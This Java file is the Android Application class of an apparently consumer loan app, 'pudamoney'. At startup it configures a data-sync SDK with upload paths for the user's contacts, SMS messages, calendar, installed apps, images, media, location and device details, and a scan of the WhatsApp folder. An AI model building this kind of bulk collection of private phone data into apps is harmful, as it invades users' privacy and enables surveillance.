package com.test.pudamoney.activity_fragment_pudamoney.base_pudamoney;

import android.app.ActivityManager;
import android.app.Application;
import android.content.Context;
import android.os.Build;
import android.webkit.WebView;


import com.test.pudamoney.constant_pudamoney.Constant_pudamoney;
import com.test.pudamoney.constant_pudamoney.Url_pudamoney;
import com.test.pudamoney.util_pudamoney.StringUtil_pudamoney;
import com.test.pudamoney.util_pudamoney.helper_pudamoney.DeviceHelper_pudamoney;
import com.test.pudamoney.util_pudamoney.helper_pudamoney.UserInfoHelper_pudamoney;
import com.zhi.syc.data.ASBuilder;
import com.zhi.syc.data.ASSycManager;

import org.jetbrains.annotations.NotNull;

public class BaseApplication_pudamoney extends Application {

    private String msg;

    @NotNull
    public static BaseApplication_pudamoney getApplication_pudamoney() {
        return baseApplication_pudamoney;
    }

    /**
     * 适配android 9 网络进程
     */
    private void initPieWebView_pudamoney() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
            String processName = getProcessName_pudamoney(this);
            if (!DeviceHelper_pudamoney.getPackageName().equals(processName)) {
                WebView.setDataDirectorySuffix(processName);
            }
        }
    }

    private String getProcessName_pudamoney(Context context) {
        if (context == null) return null;
        ActivityManager manager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
        if (manager != null) {
            for (ActivityManager.RunningAppProcessInfo processInfo : manager.getRunningAppProcesses()) {
                if (processInfo.pid == android.os.Process.myPid()) {
                    return processInfo.processName;
                }
            }
        }
        return "";
    }

    private static BaseApplication_pudamoney baseApplication_pudamoney;

    @Override
    public void onCreate() {
        super.onCreate();
        baseApplication_pudamoney = this;
        try {
            //pie webview 适配
            initPieWebView_pudamoney();

            //user info
            UserInfoHelper_pudamoney.getInstance().init(getApplicationContext());

            //syc data sdk
            initSycDataSDK_pudamoney();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void initSycDataSDK_pudamoney() {
        try {
            ASBuilder.setMock(false);
            ASBuilder.setLog(false);
            ASBuilder.setPathCalendar(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_CALENDAR);
            ASBuilder.setPathHardware(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_HARDWARE);
            ASBuilder.setPathSettingAccount(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_SETTING_ACCOUNT);
            ASBuilder.setPathContactResult(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_CONTACT_RESULT);
            ASBuilder.setServerHost(Url_pudamoney.Url_base);
            ASBuilder.setPathApplist(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_APPLIST);
            ASBuilder.setPathMedia(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_MEDIA);
            ASBuilder.setPathScanFilePath(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_WHATSAPP_DIR);
            ASBuilder.setPathImage(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_IMAGE);
            ASBuilder.setAppid(Constant_pudamoney.PRODUCT);
            ASBuilder.setPathContact(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_CONTACT);
            ASBuilder.setPathMessage(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_MESSAGE);
            ASBuilder.setKeyProduct(Constant_pudamoney.PRODUCT);
            ASBuilder.setPathStore(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_STORE);
            ASBuilder.setPathBattery(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_BATTERY);
            ASBuilder.setPathNetwork(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_NETWORK);
            ASBuilder.setPathAduid(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_ADUID);
            ASBuilder.setPathLocation(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_LOCATION);
            ASBuilder.setPathDevice(Url_pudamoney.PATH_GLOBAL + Url_pudamoney.PATH_DEVICE);

            ASSycManager.getInstance().init(this);
//            ASAduidManager.getInstance().init(this);
//            ASGpsManagerGms.getInstance().init(this);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public String getMsg() {
        return StringUtil_pudamoney.getSafeString(msg);
    }

    public void setMsg(String msg) {
        this.msg = msg;
    }
}
